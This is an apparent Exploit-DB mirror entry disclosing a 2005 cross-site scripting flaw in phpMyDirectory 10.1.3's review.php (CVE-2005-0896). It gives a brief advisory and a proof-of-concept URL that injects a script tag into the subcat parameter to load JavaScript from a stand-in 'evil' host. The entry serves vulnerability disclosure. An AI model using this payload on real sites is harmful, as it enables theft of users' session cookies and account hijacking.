Exploit PHPMyDirectory 10.1.3 - 'review.php' Multiple Cross-Site Scripting Vulnerabilities

[Exploiter]

EDB-ID

25276

Проверка EDB

1. Пройдено

Автор

MIRCIA

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2005-0896

Дата публикации

2005-03-25

source: https://www.securityfocus.com/bid/12900/info

phpMyDirectory is prone to a cross-site scripting vulnerability.

The problem presents itself when malicious HTML and script code is sent to the application through various parameters of the 'review.php' script.

This issue may allow for theft of cookie-based authentication credentials or other attacks.

phpMyDirectory 10.1.3-rel is reported vulnerable, however, it is possible that other versions are affected as well. 

http://www.example.com/review.php?id=1&cat=&subcat="><script src=http://evil/foo.js></script>